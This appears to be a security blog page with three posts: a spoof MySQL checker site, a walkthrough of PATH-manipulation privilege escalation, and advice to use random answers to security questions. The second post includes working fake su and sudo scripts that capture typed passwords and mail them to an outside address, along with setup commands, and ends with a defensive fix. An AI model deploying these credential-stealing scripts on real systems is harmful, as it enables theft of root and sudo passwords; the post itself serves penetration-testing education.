This is a real quickie. The news broke yesterday about an authentication bypass in MySQL (and MariaDB). For a laugh I created a spoof website called MySQL Check at http://mysqlcheck.com/. It’s not aimed at anyone in particular and doesn’t really have some deep purpose other than a few lulz.

However, that said, there is a worrying trend for these kinds of websites recently and I’d be lying if part of the inspiration for this didn’t come from those. I understand that the lay person outside of the security industry will want to get some kind of reassurance when these “superbugs” come out or passwords get dumped on the Internet somewhere. However, we really need to find a way to better educate the masses that putting potentially sensitive information, like the IP address of our potentially vulnerable database server into a website which looks ok, is not really a good idea.

Maybe, just maybe, this website can help with that. Spread the word – http://mysqlcheck.com.

Tagged with: , , ,
Posted in Privacy, Security, Social Media

su: You're doing it wrong

This has to be one of the oldest tricks in the book but I still love it. Let’s say you manage to get shell access to a Linux (or other Unix) box as a standard user. As a penetration tester or evil h@x0r you’re likely to want to escalate your privileges to root. One of the simplest yet most reliable methods I’ve ever come across is PATH manipulation.

Too many systems administrators do this to su to root:

pwnme@debian1:~$ su
Password:
root@debian1:/home/pwnme#

Why is this bad? Because I can edit the environment for this user and make su be whatever I want. Now there’s load of things you could do with this but my favourite is a good old fashioned shell script which emulates the behaviour of su.

First we edit the PATH for the user. Traditionally $HOME/bin is placed first in $PATH if it exists so, if it doesn’t already you might want to create that and check the $HOME/.profile file to make sure it gets called first. What we’re trying to do is get our su script to be executed instead of /bin/su which the user intended.

Let’s check the .profile file, on Debian it’s just as we’d like it:

pwnme@debian1:~$ tail -4 .profile
# set PATH so it includes user’s private bin if it exists
if [ -d "$HOME/bin" ] ; then
PATH=”$HOME/bin:$PATH”
fi

So, let’s make the bin directory in $HOME, assuming it doesn’t exist.

pwnme@debian1:~$ mkdir bin

Now we put the following:

#!/bin/sh

echo -n “Password: ”
stty -echo
read password
echo
stty echo
sleep 3
echo “su: Authentication failure”

# muwahahaha, we have the password, now for the evil.
# you can make this do what you like here.
echo “su attempted with password: $password” | mailx -s “su attempt from `uname -n`” root@offensivecoder.com

exec /bin/su

into $HOME/bin/su and make sure it’s executable:

pwnme@debian1:~$ chmod +x bin/su
pwnme@debian1:~$ ls -l bin/
total 4
-rwxr-xr-x 1 pwnme pwnme 335 Jun 11 01:04 su

Great. Source the .profile again to ensure it’s up to date then you should see that $HOME/bin is first in $PATH and that our new su script is called first:

pwnme@debian1:~$ source .profile
pwnme@debian1:~$ echo $PATH
/home/pwnme/bin:/home/pwnme/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
pwnme@debian1:~$ which su
/home/pwnme/bin/su

That’s it. Sit back and wait for the user to come along and enter the root password. In my example above I’ll get an email but you could do whatever you wanted with the password. This script is not 100% but it took < 5 minutes to write so I think you get the idea.

Sudo will save you

Think because you use sudo you’re safe? Of course not. What about this?

#!/bin/sh

orig_command=$*
echo -n “[sudo] password for $LOGNAME: ”
stty -echo
read password
echo
stty echo
sleep 2
echo “Sorry, try again.”

# muwahahaha, we have the password, now for the evil.
# you can make this do what you like here.
echo “su attempted with password: $password” | mailx -s “su attempt from `uname -n`” root@offensivecoder.com

exec /usr/bin/sudo $orig_command

Same problem.

Solution

So the simple solution to all this is never to call su, sudo or any other sensitive commands without first verifying your PATH or using the full path. Personally I always use /bin/su or verify my PATH before using sudo (because /usr/bin/sudo is just too much typing).

pwnme@debian1:~$ which sudo
/usr/bin/sudo
pwnme@debian1:~$ sudo id
[sudo] password for pwnme:
uid=0(root) gid=0(root) groups=0(root)

The observant among you will realise my which command could have been swapped out too. If so, my work here is done.

The code in this blog, as with any other code I write is on my Github page at https://github.com/offensivecoder. This particular project is called tusu. Thank you su. :-)

Tagged with: , , , ,
Posted in Security

Memorable Words: Just Lie

This is a re-post from my old blog site dating back to May 2011 (hence references to Sony) but in light of the recent compromises to LinkedIn, Last.fm and eHarmony I thought it might be relevant to reproduce it here.

Much has been written of the recent attacks on the Sony network but one of the smaller details I noticed made me want to write this short article.

One of the types of data that was lost in the data breach were the answers to users security questions. You know the ones I mean, when you sign up for a service and you get asked questions like “What is your favourite colour” or “Mother’s maiden name”. These questions are designed to be used if you forget your password in order to verify your identity before allowing access to your account where, you can reset your password (best) or it displays your password on screen (worst).

This data being available to bad people is obviously not a good thing as they can theoretically go through the password reset process, answer your security questions and gain access.

Those in security are always banging the drum about avoiding password re-use between sites but this is still incredibly common despite reasonably good password management programs being available these days to aid the process (KeePassLastPass, even vi with OpenSSL or GnuPG).

However, even if you’re using a different password for every site, if the bad guy can just reset it he wins, you lose.

So I’ll let you in on a little secret, when you register for something and it asks you what your favourite colour is “you don’t actually have to tell the truth“. Furthermore, you don’t even need to enter a colour!

Here’s a suggestion, use the same random password generator (you do use one right?) and generate some random string as your answer. Then use that same password manager application (or text file encrypted) to store the question and your answer. Use different answers for every site, just like you use different passwords and lo, if the answers to these questions make it into the hands of people of ill will you can at least be confident that your only exposure is from that one website.

This approach also affords you protection against people attempting to guess your security answers. How many goes will it really take to guess your favourite colour for example? There aren’t that many to choose from.

So, in summary, the recommendation should be widened. Avoid not only password re-use but also any other data which could be used to gain access to the account when the data is a free choice.

Tagged with: , , , ,
Posted in Authentication, Security
GitHub Projects
Recent Tweets
Archives